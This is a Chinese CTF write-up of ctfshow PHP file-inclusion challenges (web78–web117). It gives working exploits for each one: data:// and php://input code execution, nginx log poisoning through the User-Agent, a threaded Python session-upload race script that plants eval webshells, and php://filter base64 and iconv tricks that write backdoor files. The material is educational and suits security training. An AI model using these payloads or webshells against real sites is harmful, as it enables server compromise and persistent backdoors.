web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
-
php伪协议,
data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码?file=data://text/plain,<?=system('ls')?> ?file=data://text/plain,<?=system('cat flag.php')?>
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
-
就增加了个替换,
*
号绕过?file=data://text/plain,<?=system('cat f*')?>
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
-
data不给用了,但还有很多方法,但是大小写绕过,使用
php://input
POST /?file=phP://input HTTP/1.1 Host: ..... <?=system('cat fl0g.php');?>
web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
-
多了点过滤
:
,尝试使用日志绕过,F12查看服务器是nginx那么默认日志文件则是在/var/log/nginx/access.log
,通过修改ua
来达到目的# 1 GET /?file=/var/log/nginx/access.log HTTP/1.1 User-Agent: Mozilla/5.0 (Win<?php system('ls');?>dows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 # 2 GET /?file=/var/log/nginx/access.log HTTP/1.1 User-Agent: Mozilla/5.0 (Win<?php system('cat fl0g.php');?>dows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
web82 - web86
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
伪协议,日志都不能使用了,尝试session
包含
-
使用脚本,已经对代码进行注释
# -*- coding: utf-8 -*- import requests import threading import io // 条件竞争的url url = 'http://787ca786-8744-4541-95ee-be9c1eca47e9.challenge.ctf.show/' sessid = 'ctfshow' # /tmp/sess_sessionid 中写入一句话木马 def write(session): # 用来模拟上传文件 fileBytes = io.BytesIO(b'a' * 1024 * 50) # 无限循环生成session文件,因为在文件上传成功后会立马销毁session while True: response = session.post( url, data={ # 写入一句话马,密码为1 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>' }, cookies={ #设置sessionid,文件名将会以sess_sessid来命名 'PHPSESSID': sessid }, # 假装上传的是图片,格式是fileBytes files={ 'file': ('ctfshow.jpg', fileBytes) } ) def read(session): # 循环读取write生成的session文件,因为要在删除前访问到session文件 while True: response = session.post( # 一般session文件保存在/tmp/* url + '?file=/tmp/sess_' + sessid, data={ # 执行在write上传的session文件里的马,在网页目录文件夹生成muma.jpg,并写入一句马 "1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');" }, cookies={ 'PHPSESSID': sessid } ) # 访问木马文件,如果访问到了就代表竞争成功 resposne2 = session.get(url + 'muma.php') if resposne2.status_code == 200: print('++++++done++++++') else: print(resposne2.status_code) if __name__ == '__main__': evnet = threading.Event() # 写入和访问分别设置 5 个线程。 with requests.session() as session: for i in range(5): threading.Thread(target=write, args=(session,)).start() for i in range(5): threading.Thread(target=read, args=(session,)).start() evnet.set()
整个代码的思路就是,往
/tmp/sess_ctfshow
文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_ctfshow
的一句话往网站根目录文件1.php
写一句话木马,密码为a
-
竞争成功后访问
muma.php
,读取flag即可
web87
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
新增 file_put_contents
函数,将会往 $file
里写入 <?php die('大佬别秀了');?>
和我们 post 传入的 $content
内容,这样就会先执行die
而后面我们传入的代码就不会执行因此我们还需要绕过这个 die()
函数
参考链接:https://blog.csdn.net/Myon5/article/details/140224831#:~:text=ctfshow-we
通过 php://filter/write
过滤器来绕过
通过 php://filter/write=convert.base64-decode/resource=xxx.php
-
思路:假如我们
content
输入的是PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
(<?php eval($_POST[1]); ?>
经过base64编码后的字符),那么文件内容就是<?php die('大佬别秀了');?>PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
,然后我们通过php://filter/write=convert.base64-decode/resource=xxx.php
来将输入的内容进行base64
解码,那么文件内容就会变成�]�<?php eval($_POST[1]); ?>
,所以就饶过die
函数 -
仔细查看代码,发现
urldecode
会将我们输入的php://filter/write=convert.base64-decode/resource=xxx.php
进行url解码,所以我们需要对php://filter/write=convert.base64-decode/resource=xxx.php
进行两次url编码,中间件会解码一次,代码中也会解码一次 -
构造payload:
对
php://filter/write=convert.base64-decode/resource=shell.php
进行两次url编码%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
对
<?php eval($_POST[1]); ?>
进行base64编码PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
还要在前面加上两个
1
,因为base64编码是4位4位来解码的,不能整除的话就会解码失败,因为<?php die('大佬别秀了');?>
解码后也会剩下两个字符所以我们要在前面加上两个1
凑为4的整数11PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
-
构造数据包
POST /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30 HTTP/1.1 Host: 592b7169-a44.... ...... ...... ...... content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
-
之后访问shell.php,使用后门代码走流程就行
web88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
-
过滤了很多,尝试访问了日志文件也不行
-
发现好像可以构造伪协议
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg11 // system('ls'); ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz41
web116
提示:misc
+lfi
-
进去是个视频,我们下载下来,
尝试使用binwalk来分离文件
# kali // 查看文件 binwalk video.mp4 --run-as=root // output DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 27657186 0x1A603E2 PGP RSA encrypted session key - keyid: 7DEBB57A 854F782F RSA (Encrypt or Sign) 1024b 27820636 0x1A8825C MySQL ISAM index file Version 8 28976826 0x1BA26BA HPACK archive data 40994603 0x271872B PNG image, 941 x 320, 8-bit/color RGBA, non-interlaced 40994644 0x2718754 Zlib compressed data, default compression
发现png,提取
binwalk -e video.mp4 -D PNG --run-as=root
,我的不知道为什么读取不了,使用foremost来提取foremost xxx.mp4
,提取出来一张图片过滤了蛮多的,不过没有过滤
flag
,也没有过滤filter
尝试构造语句
?file=php://filter/resource=flag.php
(直接读取)flag在f12响应里面找到,base64编码的,要解码
web117
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
和web87长得有点像,不过base64
和rot13
被ban掉了,依旧是使用filter
,还有iconv
可以尝试
在linux 里面使用iconv
对payload
进行编码
先使用linux来对payload编码
iconv -f ucs-2le -t ucs-2be 1.txt
// 输出:?<hp pvela$(P_SO[Ta']';)?>
// 1.txt 里面是 <?php eval($_POST['a']); ?>
再构造filter
?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php
大概思路和web87差不多,也是对数据进行编码解码,原本的<?php die();?>
就会乱码,从而绕过
-
提交数据包
GET /?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php POST contents=?<hp pvela$(P_SO[Ta']';)?>
-
提交后访问1.php,之后常规操作